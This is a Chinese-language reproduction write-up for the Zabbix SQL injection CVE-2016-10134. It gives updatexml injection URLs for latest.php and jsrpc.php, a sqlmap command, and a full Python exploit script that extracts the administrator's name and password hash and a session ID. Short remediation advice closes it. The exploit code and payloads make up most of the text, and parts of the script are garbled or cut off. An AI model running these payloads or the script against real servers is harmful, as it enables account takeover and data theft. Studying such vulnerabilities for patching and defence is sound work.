zabbixSQL注⼊(CVE-2016-10134)漏洞复现
什么是zabbix
zabbix([`zæbiks])是⼀个基于界⾯的提供分布式以及⽹络监视功能的企业级的开源解决⽅案。
zabbix能监视各种⽹络参数,保证的安全运营;并提供灵活的通知机制以让快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过,zabbix agent,,端⼝监视等⽅法提供对远程服务器/⽹络状态的监视,等功能,它可以运⾏在Linux,Solaris,HP-UX,AIX,Free BSD,Open
BSD,OS X等平台上。--来⾃百度百科
漏洞简介
Zabbix是拉脱维亚Zabbix SIA公司的⼀套开源的监控系统。该系统可监视各种⽹络参数,并提供通知机制让系统管理员快速定位、解决存在的各种问题。
Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本中存在SQL注⼊漏洞。远程攻击者可借助latest.php⽂件中的‘toggle_ids’数组参数利⽤该漏洞执⾏任意SQL命令。
利⽤条件
zabbix开启了guest权限。⽽在zabbix中,guest的默认密码为空。需要有这个条件的⽀持才可以进⾏⽆权限注⼊。
存在此漏洞的版本
Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本。
漏洞复现
latest.php页⾯
提取cookie中的zbx_sessionid的后16位
构造payload
/latest.php?output.php=ajax&sid=bb8a0a548b92eafd&favobj=toggle&toggle_open_state=1&toggle_ids
=updatexml(0,concat(0xa,database()),0)
返回当前数据库,存在注⼊。
此注⼊漏洞衍⽣出另⼀个页⾯的注⼊漏洞
jsrpc.php页⾯
构造payload
jsrpc.php?type=0&mode=1&&profileIdx=aph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)
利⽤sqlmap测试
命令: Sqlmap -u “⽬标连接+PoC” -p “profileIdx2” --technique E --dbs
EXPcve漏洞库
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Date: 2016/8/18
# Modified by: Jamin Zhang
import urllib2
import sys, os
import re
def deteck_Sql():
u'检查是否存在 SQL 注⼊'
payload = "jsrpc.php?
sid=0bcd4ade648214dc&type=9&×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=aph&profileIdx2=999'&updat    try:
response = urllib2.urlopen(url + payload, timeout=10).read()
except Exception, msg:
print msg
else:
key_reg = repile(r"INSERT\s*INTO\s*profiles")
if key_reg.findall(response):
return True
def sql_Inject(sql):
u'获取特定sql语句内容'
payload = url + "jsrpc.php?
sid=0bcd4ade648214dc&type=9&×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=aph&profileIdx2="
+ urllib2.quote(sql) +
"&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=10).read()
except Exception, msg:
print msg
else:
result_reg = repile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
if results:
return results[0]
if __name__ == '__main__':
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print u'\t Python Zabbix < 3.0.4 SQL 注⼊ Exploit'
print '\t Origin Author: www.waitalone/'
print '\t\t Modified by: Jamin Zhang'
print '\t\t Modified by: Jamin Zhang'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print u'⽤法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix Server Web 后台 URL]'
print u'实例: ' + os.path.basename(sys.argv[0]) + ' jaminzhang.github.io'
url = sys.argv[1]
if url[-1] != '/': url += '/'
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
if deteck_Sql():
print u'Zabbix 存在 SQL 注⼊漏洞!\n'
print u'管理员⽤户名密码:%s' % sql_Inject(passwd_sql)
print u'管理员 Session_id:%s' % sql_Inject(session_sql)
else:
print u'Zabbix 不存在 SQL 注⼊漏洞!\n'
注:EXP学习⾃@jaminzhang⼤⼤的脚本
关于修复
关闭guest权限
打补丁升级版本

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。